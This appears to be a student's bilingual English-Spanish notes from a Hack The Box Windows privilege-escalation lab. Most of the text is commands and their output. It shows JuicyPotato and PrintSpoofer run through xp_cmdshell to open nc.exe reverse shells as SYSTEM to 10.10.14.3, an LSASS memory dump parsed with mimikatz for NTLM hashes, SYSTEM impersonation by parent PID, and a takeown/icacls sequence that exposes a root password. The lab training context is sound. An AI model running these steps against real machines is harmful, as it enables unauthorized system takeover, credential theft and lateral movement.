Windows User Privilege

Rights and Privileges in Windows

Local Admin User Rights - Elevated

PS C:\htb> whoami 

winlpe-srv01\administrator


PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Disabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled

Standard User Rights

PS C:\htb> whoami 

winlpe-srv01\htb-student


PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Backup Operators Rights

PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

SeImpersonate and SeAssignPrimaryToken

Connecting with MSSQLClient.py

$ mssqlclient.py sql_dev@10.129.43.30 -windows-auth

Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 1: Changed database context to 'master'.
[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (130 19162) 
[!] Press help for extra shell commands
SQL>

Enabling xp_cmdshell

SQL> enable_xp_cmdshell

[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install

Confirming Access

SQL> xp_cmdshell whoami

output                                                                             

--------------------------------------------------------------------------------   

nt service\mssql$sqlexpress01

Checking Account Privileges

SQL> xp_cmdshell whoami /priv

output                                                                             

--------------------------------------------------------------------------------   
                                                                    
PRIVILEGES INFORMATION                                                             

----------------------                                                             
Privilege Name                Description                               State      

============================= ========================================= ========   

SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled   
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled   
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled    
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled    
SeImpersonatePrivilege        Impersonate a client after authentication Enabled    
SeCreateGlobalPrivilege       Create global objects                     Enabled    
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled   

Escalating Privileges Using JuicyPotato

SQL> xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *

output                                                                             

--------------------------------------------------------------------------------   

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 53375                               
                                                                            
[+] authresult 0                                                                   
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM                                                                                                    
[+] CreateProcessWithTokenW OK                                                     
[+] calling 0x000000000088ce08

Catching SYSTEM Shell

$ sudo nc -lnvp 8443

listening on [any] 8443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.30] 50332
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.


C:\Windows\system32>whoami

whoami
nt authority\system


C:\Windows\system32>hostname

hostname
WINLPE-SRV01

PrintSpoofer and RoguePotato

• PrintSpoofer

Escalating Privileges using PrintSpoofer

SQL> xp_cmdshell c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"

output                                                                             

--------------------------------------------------------------------------------   

[+] Found privilege: SeImpersonatePrivilege                                        

[+] Named pipe listening...                                                        

[+] CreateProcessAsUser() OK                                                       

NULL 

Catching Reverse Shell as SYSTEM

$ nc -lnvp 8443

listening on [any] 8443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.30] 49847
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.


C:\Windows\system32>whoami

whoami
nt authority\system

SeDebugPrivilege

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== ========
SeDebugPrivilege                          Debug programs                                                     Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set   

C:\> procdump.exe -accepteula -ma lsass.exe lsass.dmp

ProcDump v10.0 - Sysinternals process dump utility
Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[15:25:45] Dump 1 initiated: C:\Tools\Procdump\lsass.dmp
[15:25:45] Dump 1 writing: Estimated dump file size is 42 MB.
[15:25:45] Dump 1 complete: 43 MB written in 0.5 seconds
[15:25:46] Dump count reached.

Podemos utilizar ProcDump de la suite SysInternals para aprovechar este privilegio y volcar la memoria del proceso. Un buen candidato es el proceso Local Security Authority Subsystem Service (LSASS), que almacena las credenciales de usuario después de que un usuario inicie sesión en un sistema.

Esto es exitoso, y podemos cargar esto en Mimikatz usando el comando sekurlsa::minidump. Después de emitir los comandos sekurlsa::logonPasswords, obtenemos el hash NTLM de la cuenta del administrador local conectado localmente. Podemos usar esto para realizar un ataque pass-the-hash para movernos lateralmente si la misma contraseña de administrador local es usada en uno o múltiples sistemas adicionales (común en grandes organizaciones).

C:\htb> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [e-mail] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [e-mail] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # log
Using 'mimikatz.log' for logfile : OK

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 23196355 (00000000:0161f2c3)
Session           : Interactive from 4
User Name         : DWM-4
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 3/31/2021 3:00:57 PM
SID               : S-1-5-90-0-4
        msv :
        tspkg :
        wdigest :
         * Username : WINLPE-SRV01$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

<SNIP> 

Authentication Id : 0 ; 23026942 (00000000:015f5cfe)
Session           : RemoteInteractive from 2
User Name         : jordan
Domain            : WINLPE-SRV01
Logon Server      : WINLPE-SRV01
Logon Time        : 3/31/2021 2:59:52 PM
SID               : S-1-5-21-3769161915-3336846931-3985975925-1000
        msv :
         [00000003] Primary
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * NTLM     : cf3a5525ee9414229e66279623ed5c58
         * SHA1     : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2
        tspkg :
        wdigest :
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * Password : (null)
        kerberos :
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * Password : (null)
        ssp :
        credman :

<SNIP>

• SeDebugPrivilege

Remote Code Execution as SYSTEM

Identifique un proceso a nivel de SISTEMA:

Primero, necesitamos identificar un proceso que se esté ejecutando con privilegios de SISTEMA . Podemos hacerlo usando el tasklistcomando en una sesión de PowerShell con privilegios elevados.

PS C:\> tasklist

Usando la herramienta psgetsystem:

Ahora usaremos la herramienta psgetsystem , que se puede encontra psgetsystem para suplantar los privilegios de SISTEMA del proceso padre identificado y lanzar un comando como SISTEMA.

PS> . .\psgetsys.ps1

Suplantar al SISTEMA mediante el ID del proceso principal (PPID):

PS> ImpersonateFromParentPid -ppid <parentpid> -command <command to execute> -cmdargs <command arguments>

Por ejemplo, para iniciar cmd.exe como SYSTEM, deberá ejecutar lo siguiente:

ImpersonateFromParentPid -ppid 612 -command "C:\Windows\System32\cmd.exe" -cmdargs ""

• -ppid → Especifica el ID del proceso principal (el ID del proceso del SISTEMA obtenido anteriormente).

• -comando → El comando a ejecutar (en este caso, cmd.exe).

• -cmdargs → Cualquier argumento de comando adicional (opcional).

SeTakeOwnershipPrivilege

Leveraging the Privilege

Reviewing Current User Privileges

• SharpGPOAbuse

PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                              State
============================= ======================================================= ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                                Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                          Disabled

Enabling SeTakeOwnershipPrivilege

Observa en la salida que el privilegio no está habilitado. Podemos habilitarlo usando este script que se detalla en esta entrada del blog, así como este otro que se basa en el concepto inicial.

• SeTakeOwnershipPrivilege

PS C:\> Import-Module .\Enable-Privilege.ps1
PS C:\> .\EnableAllTokenPrivs.ps1
PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                              State
============================= ======================================== =======
SeTakeOwnershipPrivilege      Take ownership of files or other objects Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                 Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set           Enabled

Choosing a Target File

PS C:\> Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}
 
FullName                                 LastWriteTime         Attributes Owner
--------                                 -------------         ---------- -----
C:\Department Shares\Private\IT\cred.txt 6/18/2021 12:23:28 PM    Archive

Checking File Ownership

PS C:\htb> cmd /c dir /q 'C:\Department Shares\Private\IT'

 Volume in drive C has no label.
 Volume Serial Number is 0C92-675B
 
 Directory of C:\Department Shares\Private\IT
 
06/18/2021  12:22 PM    <DIR>          WINLPE-SRV01\sccm_svc  .
06/18/2021  12:22 PM    <DIR>          WINLPE-SRV01\sccm_svc  ..
06/18/2021  12:23 PM                36 ...                    cred.txt
               1 File(s)             36 bytes
               2 Dir(s)  17,079,754,752 bytes free

Taking Ownership of the File

PS C:\> takeown /f 'C:\Department Shares\Private\IT\cred.txt'
 
SUCCESS: The file (or folder): "C:\Department Shares\Private\IT\cred.txt" now owned by user "WINLPE-SRV01\htb-student".

Confirming Ownership Changed

PS C:\> Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}
 
Name     Directory                       Owner
----     ---------                       -----
cred.txt C:\Department Shares\Private\IT WINLPE-SRV01\htb-student

Modifying the File ACL

PS C:\> cat 'C:\Department Shares\Private\IT\cred.txt'

cat : Access to the path 'C:\Department Shares\Private\IT\cred.txt' is denied.
At line:1 char:1
+ cat 'C:\Department Shares\Private\IT\cred.txt'
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\Department Shares\Private\IT\cred.txt:String) [Get-Content], Unaut
   horizedAccessException
    + FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand

PS C:\> icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F

processed file: C:\Department Shares\Private\IT\cred.txt
Successfully processed 1 files; Failed processing 0 files

Reading the File

PS C:\> cat 'C:\Department Shares\Private\IT\cred.txt'

NIX01 admin
 
root:n1X_p0wer_us3er!